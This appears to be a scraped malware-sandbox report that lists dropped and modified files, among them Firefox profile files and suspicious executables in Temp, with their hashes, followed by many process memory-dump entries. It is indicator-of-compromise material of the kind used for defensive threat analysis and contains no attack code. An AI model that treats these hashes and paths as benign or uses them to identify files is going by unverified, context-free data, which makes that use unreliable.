C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ytcgl2sn.default-release\gmp-widevinecdm\4.10.2449.0\widevinecdm.dll.sig

Filesize
1KB

MD5
dea1586a0ebca332d265dc5eda3c1c19

SHA1
29e8a8962a3e934fd6a804f9f386173f1b2f9be4

SHA256
98fbbc41d2143f8131e9b18fe7521f90d306b9ba95546a513c3293916b1fce60

SHA512
0e1e5e9af0790d38a29e9f1fbda7107c52f162c1503822d8860199c90dc8430b093d09aef74ac45519fb20aedb32c70c077d74a54646730b98e026073cedd0d6

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ytcgl2sn.default-release\prefs-1.js

Filesize
6KB

MD5
b8a0247bceb92cf46e6c0ef907ba36e8

SHA1
c952812fd3f8c02470ef22e848e1f8f1297d9dde

SHA256
b9e39e170201104f8d280684cd70431acda20d21695bcfbbfecef2a264158199

SHA512
b2efe994489bdaefa309bd2eeb05bde44edb4c658d2c61b1ada01afada4e0f63f42005dc9152827d8896ccfc60fddb820dedfb1cfca4343dcff8f48f729f7e14

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ytcgl2sn.default-release\prefs-1.js

Filesize
6KB

MD5
46424f4f2eb8bbee7ca1a157fbb8ecb4

SHA1
4aec573d9883d93608522779dd4a74372ebd77fd

SHA256
f9ae34666569752776a5941c7bc703caa1e0583ce18d0e4d2b735aff0dd7bf1c

SHA512
f5042830d71d548232bc66ebe12588e39489844d0673319dad19e056db3b771b33c0b37da8ca7d63d6656b9954567a5b7eb7102d4e441bfd743c3c3c0c5b96ee

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ytcgl2sn.default-release\prefs-1.js

Filesize
7KB

MD5
9a2289c82a79b53835af3beb69817cef

SHA1
9ba3f486cefb1b569e41da190a14844419cbbb00

SHA256
31e1fb5dced5fbad48eae10610a073ff59ff9224158777c752e168da7464f7ef

SHA512
c1d488b79386dfab9dd5a529fabcd74de8b120c2475d49b3e5801c0cc4b7f623fe600d2d26a9c94eb683333d65cc17f628ba5c0a7cb355e2ded375a3b0e100f3

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ytcgl2sn.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
4KB

MD5
c8ab9b1698cff8e31aaaaa5a47531b3c

SHA1
eafa9019da2288be0e188e5b9a29e86a389a4128

SHA256
a1a902b11a37a3947f193d649aa386cbfb2869a64ff94a35f8482a29d94d42ce

SHA512
894dffea26585adcdaa7d62eb51941cfecc1dc4562e7b06da6997ebc0f555e6c44d1fba11186fa123520a521a5caef8c97c4d54e6057d3cd0cb04e03a1e7f9fd

Download Submit
\Users\Admin\AppData\Local\TempVYTL85JNHHRZO20RPKZODC9MPB97PRBP.EXE

Filesize
1.8MB

MD5
d76d59ff5ab4b117c93272eb95f8312c

SHA1
2f7012b69d179a80f700a6368377e463106da3f2

SHA256
e7b9df18e42bbcaa2aa5def92555e981eded4c7658cef0789e8d9b8689f84402

SHA512
6d8a9c121627b51937b852b753a6155f215df1206562c8e3678d0a844d50cd9d499232645f1078fa22dd6fe2d500fdb3b73c71a58965f13b0c62f403865668c1

Download Submit
\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

Filesize
1.9MB

MD5
c9e35f3be0a99258747eee4b2bef19f2

SHA1
ba70a487a2da7acb8cfc4a761a4dd8b095cdcb59

SHA256
c6d53119ad485eb2f814e3a70307deba2e9b9a7635a774256a03cecbfff6f13e

SHA512
8e417bf09007f65fd96c8ec31b212e7069f3f74c1bdaf08ec41da0edd5b15c453396f12c815d20058ff37d05bb9a2fa8ba527f3977112f00b864995d9ff42d6e

Download Submit
memory/712-2783-0x0000000000400000-0x0000000000687000-memory.dmp

Filesize
2.5MB

Download
memory/1456-67-0x0000000006480000-0x0000000006939000-memory.dmp

Filesize
4.7MB

Download
memory/2100-68-0x0000000000CE0000-0x0000000001199000-memory.dmp

Filesize
4.7MB

Download
memory/2100-69-0x0000000000CE0000-0x0000000001199000-memory.dmp

Filesize
4.7MB

Download
memory/2240-131-0x0000000006600000-0x0000000006AB9000-memory.dmp

Filesize
4.7MB

Download
memory/2424-723-0x0000000006E00000-0x000000000729F000-memory.dmp

Filesize
4.6MB

Download
memory/2424-1472-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-725-0x0000000006E00000-0x000000000729F000-memory.dmp

Filesize
4.6MB

Download
memory/2424-17-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-736-0x0000000006E00000-0x0000000007248000-memory.dmp

Filesize
4.3MB

Download
memory/2424-18-0x00000000011F1000-0x000000000121F000-memory.dmp

Filesize
184KB

Download
memory/2424-781-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-19-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-21-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-29-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-587-0x0000000006E00000-0x0000000007248000-memory.dmp

Filesize
4.3MB

Download
memory/2424-1450-0x0000000006E00000-0x000000000729F000-memory.dmp

Filesize
4.6MB

Download
memory/2424-41-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-42-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-1460-0x0000000006E00000-0x000000000729F000-memory.dmp

Filesize
4.6MB

Download
memory/2424-43-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-585-0x0000000006E00000-0x0000000007248000-memory.dmp

Filesize
4.3MB

Download
memory/2424-509-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-2812-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-124-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-565-0x0000000006E00000-0x000000000749B000-memory.dmp

Filesize
6.6MB

Download
memory/2424-2075-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-2792-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-2134-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-150-0x0000000006E00000-0x00000000070FF000-memory.dmp

Filesize
3.0MB

Download
memory/2424-149-0x0000000006E00000-0x00000000070FF000-memory.dmp

Filesize
3.0MB

Download
memory/2424-154-0x00000000011F0000-0x00000000016CA000-memory.dmp

Filesize
4.9MB

Download
memory/2424-175-0x0000000006E00000-0x000000000749B000-memory.dmp

Filesize
6.6MB

Download
memory/2424-174-0x0000000006E00000-0x00000000070FF000-memory.dmp

Filesize
3.0MB

Download
memory/2424-172-0x0000000006E00000-0x000000000749B000-memory.dmp

Filesize
6.6MB

Download
memory/2424-176-0x0000000006E00000-0x00000000070FF000-memory.dmp

Filesize
3.0MB

Download
memory/2424-423-0x0000000006E00000-0x000000000749B000-memory.dmp

Filesize
6.6MB

Download
memory/2528-2085-0x00000000009E0000-0x0000000000A0E000-memory.dmp

Filesize
184KB

Download
memory/2684-134-0x00000000013B0000-0x0000000001869000-memory.dmp

Filesize
4.7MB

Download
memory/2684-133-0x00000000013B0000-0x0000000001869000-memory.dmp

Filesize
4.7MB

Download
memory/2948-156-0x0000000000BD0000-0x0000000000ECF000-memory.dmp

Filesize
3.0MB

Download
memory/2948-152-0x0000000000BD0000-0x0000000000ECF000-memory.dmp

Filesize
3.0MB

Download
memory/2976-785-0x0000000000B10000-0x00000000011AB000-memory.dmp

Filesize
6.6MB

Download
memory/2976-511-0x0000000000B10000-0x00000000011AB000-memory.dmp

Filesize
6.6MB

Download
memory/2976-1458-0x0000000000B10000-0x00000000011AB000-memory.dmp

Filesize
6.6MB

Download
memory/2976-563-0x0000000000B10000-0x00000000011AB000-memory.dmp

Filesize
6.6MB

Download
memory/2976-173-0x0000000000B10000-0x00000000011AB000-memory.dmp

Filesize
6.6MB

Download
memory/2976-177-0x0000000061E00000-0x0000000061EF3000-memory.dmp

Filesize
972KB

Download
memory/3068-2-0x0000000000E61000-0x0000000000E8F000-memory.dmp

Filesize
184KB

Download
memory/3068-1-0x0000000077E80000-0x0000000077E82000-memory.dmp

Filesize
8KB

Download
memory/3068-14-0x0000000000E60000-0x000000000133A000-memory.dmp

Filesize
4.9MB

Download
memory/3068-3-0x0000000000E60000-0x000000000133A000-memory.dmp

Filesize
4.9MB

Download
memory/3068-5-0x0000000000E60000-0x000000000133A000-memory.dmp

Filesize
4.9MB

Download
memory/3068-15-0x0000000007400000-0x00000000078DA000-memory.dmp

Filesize
4.9MB

Download
memory/3068-0-0x0000000000E60000-0x000000000133A000-memory.dmp

Filesize
4.9MB

Download
memory/3276-793-0x0000000000E80000-0x00000000012C8000-memory.dmp

Filesize
4.3MB

Download
memory/3276-593-0x0000000000E80000-0x00000000012C8000-memory.dmp

Filesize
4.3MB

Download
memory/3276-594-0x0000000000E80000-0x00000000012C8000-memory.dmp

Filesize
4.3MB

Download
memory/3276-586-0x0000000000E80000-0x00000000012C8000-memory.dmp

Filesize
4.3MB

Download
memory/3420-2110-0x00000000028B0000-0x0000000002CB0000-memory.dmp

Filesize
4.0MB

Download
memory/3420-2113-0x00000000775C0000-0x0000000077607000-memory.dmp

Filesize
284KB

Download
memory/3420-2108-0x0000000000080000-0x000000000008A000-memory.dmp

Filesize
40KB

Download
memory/3420-2111-0x0000000077C90000-0x0000000077E39000-memory.dmp

Filesize
1.7MB

Download
memory/3720-2118-0x00000000037C0000-0x0000000003824000-memory.dmp

Filesize
400KB

Download
memory/3720-2119-0x00000000037C0000-0x0000000003824000-memory.dmp

Filesize
400KB

Download
memory/3720-2120-0x00000000037C0000-0x0000000003824000-memory.dmp

Filesize
400KB

Download
memory/3720-2121-0x00000000037C0000-0x0000000003824000-memory.dmp

Filesize
400KB

Download
memory/3720-2122-0x00000000037C0000-0x0000000003824000-memory.dmp

Filesize
400KB

Download
memory/3780-1456-0x00000000010C0000-0x000000000155F000-memory.dmp

Filesize
4.6MB

Download
memory/3780-1459-0x00000000010C0000-0x000000000155F000-memory.dmp

Filesize
4.6MB

Download
memory/3780-724-0x00000000010C0000-0x000000000155F000-memory.dmp

Filesize
4.6MB

Download
memory/4136-2835-0x0000000077C90000-0x0000000077E39000-memory.dmp

Filesize
1.7MB

Download
memory/4136-2834-0x0000000004810000-0x0000000004C10000-memory.dmp

Filesize
4.0MB

Download
memory/4136-2837-0x00000000775C0000-0x0000000077607000-memory.dmp

Filesize
284KB

Download
memory/4252-2091-0x0000000003AB0000-0x0000000003B2F000-memory.dmp

Filesize
508KB

Download
memory/4252-2090-0x0000000003AB0000-0x0000000003B2F000-memory.dmp

Filesize
508KB

Download
memory/4252-2092-0x0000000003AB0000-0x0000000003B2F000-memory.dmp

Filesize
508KB

Download
memory/4252-2089-0x0000000003AB0000-0x0000000003B2F000-memory.dmp

Filesize
508KB

Download
memory/4252-2088-0x0000000003AB0000-0x0000000003B2F000-memory.dmp

Filesize
508KB

Download
memory/4252-2087-0x0000000003AB0000-0x0000000003B2F000-memory.dmp

Filesize
508KB

Download
memory/4252-2103-0x0000000004330000-0x0000000004730000-memory.dmp

Filesize
4.0MB

Download
memory/4252-2107-0x00000000775C0000-0x0000000077607000-memory.dmp

Filesize
284KB

Download
memory/4252-2102-0x0000000004330000-0x0000000004730000-memory.dmp

Filesize
4.0MB

Download
memory/4252-2105-0x0000000077C90000-0x0000000077E39000-memory.dmp

Filesize
1.7MB

Download
memory/4828-2940-0x0000000000D30000-0x0000000000D5E000-memory.dmp

Filesize
184KB

Download